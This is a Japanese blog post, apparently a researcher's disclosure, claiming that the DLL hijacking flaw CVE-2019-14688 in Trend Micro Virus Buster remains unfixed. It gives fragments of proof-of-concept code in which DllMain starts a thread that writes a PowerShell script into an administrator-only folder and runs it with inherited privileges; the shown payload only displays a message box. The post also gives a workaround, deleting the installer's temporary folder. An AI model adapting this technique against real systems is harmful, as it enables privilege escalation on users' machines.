某セキュリティソフトに存在する脆弱性を検証後、表示するコードを改良してみた
【トレンドマイクロ】ウイルスバスタークラウド含む12製品の CVE-2019-14688 が全然直ってない件【中国製】
件の脆弱性が直ってないことを検証するコード
今までは、検証した後、dllmain の中の if(ul_reason_for_call==1){ を確認して その中で MessageBox を表示するという処理をしていたのですが、ウイルスバスターの一部の処理は、外部のDLLにGUIが生成されると、異常を検出して強制終了するみたいなので、処理を変えてみました
int v= (int)CreateThread(NULL , 0 , ThreadFunc , (LPVOID)0 , 0 , &tid); |
DLLMAIN ではスレッド作成するだけ
DWORD WINAPI ThreadFunc(LPVOID vdParam) { FILE *fs; char script[]="\n" "Set-StrictMode -version Latest \n" "Add-Type -AssemblyName System.Windows.Forms;\n" "$text = \""; char script2[]="\";\n" "$caption = \"とれんどまいくろはっきんぐてすと\";\n" "$buttonsType = \"Ok\";\n" "$iconType = \"Information\";\n" "$result = [System.Windows.Forms.MessageBox]::Show($text, $caption, $buttonsType, $iconType);\n" "$result;\n"; fs=fopen("pp.ps1","wb+"); |
※ 公開したのは乗っ取った後情報を表示するだけのコードなので…
(ぷるぷる)ぼくは、悪いプログラムじゃないよ
スレッドでは管理者専用フォルダにプログラムを書き込んで、実行させるという処理。
乗っ取ったプロセスの権限がそのまま継承されて起動するので、警告などは出ません。
わーい、今まで検出できなかった、インストーラー本体でも、乗っ取り確認ができた((((・ω・))))
私は個人的には、長期間直せないなら、防ぎ方アナウンスしたほうがいいと思うんですけどね
なんで直るまで情報公開しないのか、よく分からないです
ちなみに、脆弱性の悪用は、C:\ProgramData\Trend Micro Installer という一時フォルダを削除することで、ある程度防ぐことができます。
Comments